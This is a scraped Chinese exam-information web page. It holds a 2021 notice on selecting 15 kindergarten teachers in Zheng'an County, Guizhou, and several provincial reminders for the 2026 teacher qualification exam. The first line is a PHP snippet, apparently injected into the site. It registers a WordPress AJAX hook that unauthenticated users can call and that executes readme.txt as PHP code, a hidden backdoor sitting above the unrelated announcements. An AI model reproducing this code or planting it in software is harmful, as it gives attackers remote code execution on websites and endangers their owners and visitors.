if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州遵义2021正安县幼儿园遴选在职教师15人-全国教师资格考试网

贵州遵义2021正安县幼儿园遴选在职教师15人

  为确保学校教育教学工作的正常开展,切实解决县城学龄前幼儿入园难的问题,拟新建正安县第四幼儿园将于今年九月开学。经县人民政府同意,决定面向全县镇(乡)幼儿教师公开遴选一批在职幼儿教师到正安县第四幼儿园工作,为了确保公开遴选在职教师工作顺利进行,制定本方案。

  一、遴选工作组

  组  长:陈  浩(县教育局局长)

  副组长:刘盛刚(县教育局主任科员) 

     曾润良(县教育局副局长)

     吴金勇(县教育局副局长)

     张卫东(县教育局副局长)

     赵友强(县人民政府正科级督学)

     卢天智(县委教育工委委员)

  成 员: 孙远亮 罗丽娜 简东旭 赵仁江 唐亚英 包兰

  二、遴选原则:公开、公平、竞争、择优。

  三、遴选在职教师职位

  幼儿专业教师15名。

  四、遴选范围、对象和条件

  1.遵守《中小学教师职业道德规范》;

  2.我县公办学校教师工作年限四年及以上。(截止到2021年9月30日工龄满四年);

  3.外县调入教师在我县工作两年以上;

  4.具备幼儿教师专业中专及以上学历;

  5.具备幼儿教师资格证;

  6.身体健康,符合《公务员录用体检通用标准(试行)》要求以及相关规定;

  7.具有履行职责所需的专业技术能力;

  8.下列情形之一的教师不能参加遴选:

  (1)擅自离岗者;

  (2)2016年以来受过党纪、政纪处分者;

  (3)2018年以来有一次年度考核不合格者;

  (4)不符合遴选对象、报考条件或岗位所需资格条件者;

  (5)伪造有关证件、证明材料或有其他弄虚作假行为的;

  (6)不服从职称评聘有关规定的;属“培训班”对象,未按时参加培训的;

  (7)凤仪及城区幼儿园的在编教师不能报考。

  (8)法律、法规规定不得报考的其他情形。

  9.加分因素(加分最多不超过3分):

  加分实行年度累计积分(当年内同类奖励取最高分),封顶为3分。

  (1)近五年(2016-2020年)获得省、市、县级优秀教师、优秀班主任、优秀教育工作者一次分别加1分、0.5分、0.2分;

  (2)近五年(2016-2020年)获得市、县级教育质量奖一次分别加0.5分、0.2分;

  (3)近五年(2016-2020年)获得省、市、县优质课竞赛或技能竞赛一等奖一次分别加1分、0.5分、0.2分;

  10.职称

  遴选人员不能带走原学校已聘的职称,只能根据省市有关文件精神和选聘学校的岗位情况重新聘任。

  五、遴选程序

  公开遴选共分报名、资格审查、考试考核、聘用管理等四个环节,每个环节的结果面向社会公示,接受社会监督。

  1.报名

  2021年5月18日,上午8:30至下午5:00在正安县综治中心八楼(县教育局人事股)报名;

  报名费300元(按常规“以考养考”的办法支付试卷制作费、监考费、评卷费等相关费用,不足部分从县级教育经费中列支);

  报名须携以下材料原件和复印件(验原件,复印件由报名点留存)。

  (1)本人有效居民身份证;

  (2)毕业证书;

  (3)教师资格证;

  (4)所在学校出具工作简历及本学年教学效果及现实表现证明(必须由乡镇中心小学校长签字并加盖公章,上挂学习的教师由所在学校校长签字);

  (5)填写好《正安县2021年公开遴选在职教师报名表》、《正安县2021年公开遴选在职教师政审表》。

  (6)交本人近期同底1寸免冠照片5张(照片背面用圆珠笔写上报考学段和姓名);

  (7)本人加分因素业绩材料。

  2. 报名资格初审

  报名工作由县教育局组织,资格审查贯穿整个遴选工作过程,请考生务必按照遴选方案的要求进行报考,如报考者隐瞒信息或提供虚假信息通过资格审查的,一经查实,取消报考者遴选资格,其责任由考生自负,并视情节追究有关人员的责任。

  资格初审公示时间:2021年5月19日。

  3.笔试

  笔试成绩按60%计入总分。

  领取准考证时间:2021年5月21日下午3:30—5:00在县教育局8楼人事股领取。

  笔试时间: 2021年5月22日上午9:00—11:00 ,笔试地点以准考证为准。

  符合本次教师遴选条件的对象统一参加笔试。由县遴选工作领导小组统一组织人员进行命题、考试。笔试成绩保留两位小数。

  笔试内容:综合知识及专业知识。综合知识:测试教师职业理念、教师观、学生观等。专业知识:指保教知识与能力。主要测试教师在幼儿心理、身体动作、情绪情感、个性发展等方面的教育指导方法及班级管理、生活教育、安全教育方面的内容。

  4、面试

  按笔试成绩由高到低以2:1比例进入面试,面试时间: 2021年5月29日 ,面试地点以准考证为准。面试成绩按40%计入总分。

  考试成绩公示:面试结束后当天。   

  六、教师聘用

  根据总成绩,经考察合格,按照遴选岗位计划数从高分到低分确定拟遴选人员,待正安县第四幼儿园正式成立后,教育局按照有关程序办理调动手续,若有总成绩并列的,取笔试成绩高者,若笔试成绩相同,取工作年限长者。

  贵州遵义2021正安县幼儿园遴选在职教师15人附件1:正安县2021年公开遴选在职教师报名表.doc

  贵州遵义2021正安县幼儿园遴选在职教师15人附件2:正安县2021年公开遴选在职教师政审表.xls

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部